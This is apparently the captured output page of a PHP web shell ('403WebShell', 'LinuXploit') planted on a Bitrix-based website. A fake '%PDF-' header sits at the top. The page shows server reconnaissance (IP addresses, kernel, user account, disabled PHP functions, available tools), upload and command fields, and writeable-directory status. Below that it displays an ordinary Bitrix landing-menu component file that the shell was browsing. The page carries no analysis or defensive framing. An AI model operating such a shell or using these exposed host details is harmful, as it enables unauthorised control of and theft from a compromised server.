%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.219.54.31
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.binding.menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.binding.menu/class.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use \Bitrix\Main\Localization\Loc;
use \Bitrix\Landing\Binding;

Loc::loadMessages(__FILE__);

\CBitrixComponent::includeComponentClass('bitrix:landing.base');
\CBitrixComponent::includeComponentClass('bitrix:landing.filter');

class LandingBindingMenuComponent extends LandingBaseComponent
{
	/**
	 * Bind entity to specific menu.
	 * @param int $id Entity id.
	 * @return boolean
	 */
	protected function actionBind($id)
	{
		$binding = new Binding\Menu($this->arParams['MENU_ID']);
		if ($this->arParams['SITE_ID'])
		{
			$binding->bindLanding($id);
		}
		else
		{
			$binding->bindSite($id);
		}
		localRedirect($this->getUri(['success' => 'Y']));
		return true;
	}

	/**
	 * Unbind entity from specific menu.
	 * @param int $id Entity id.
	 * @return boolean
	 */
	protected function actionUnbind($id)
	{
		if (mb_strpos($id, '_') !== false)
		{
			$binding = new Binding\Menu($this->arParams['MENU_ID']);
			list($type, $id) = explode('_', $id);
			if ($type == Binding\Entity::ENTITY_TYPE_SITE)
			{
				$binding->unbindSite($id);
			}
			else if ($type == Binding\Entity::ENTITY_TYPE_LANDING)
			{
				$binding->unbindLanding($id);
			}
		}
		return true;
	}

	/**
	 * Excludes binded entities from data.
	 * @return void
	 */
	protected function excludeBindings()
	{
		$excludedIDs = [];
		$neededType = ($this->arParams['SITE_ID'] > 0)
						? Binding\Entity::ENTITY_TYPE_LANDING
						: Binding\Entity::ENTITY_TYPE_SITE;
		$bindings = Binding\Menu::getList($this->arParams['MENU_ID']);
		foreach ($bindings as $binding)
		{
			if ($binding['ENTITY_TYPE'] == $neededType)
			{
				$excludedIDs[] = $binding['ENTITY_ID'];
			}
		}

		if ($excludedIDs)
		{
			LandingFilterComponent::setExternalFilter(
				'!ID',
				$excludedIDs
			);
		}
	}

	/**
	 * Base executable method.
	 * @return void
	 */
	public function executeComponent()
	{
		if (!$this->init())
		{
			return;
		}

		$this->checkParam('SITE_ID', 0);
		$this->checkParam('TYPE', '');
		$this->checkParam('MENU_ID', '');
		$this->checkParam('PATH_AFTER_CREATE', '');
		$this->checkParam('MODE', 'LIST');

		if (!$this->arParams['MENU_ID'])
		{
			$this->addError('MENU_ID', Loc::getMessage('LANDING_CMP_NOT_MENU_ID'));
		}
		else
		{
			$this->arResult['SUCCESS'] = $this->request('success') == 'Y';
			$this->excludeBindings();
			// urls
			$this->arResult['ACTION_URL'] = $this->getUri([
				'action' => 'bind',
				'sessid' => bitrix_sessid(),
				'param' => '__id__'
			]);
			$this->arResult['LANDING_URL'] = $this->getUri([
				'siteId' => '__id__'
			]);
		}

		if ($this->arParams['MODE'] == 'CREATE')
		{
			$this->template = 'create';
		}

		parent::executeComponent();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit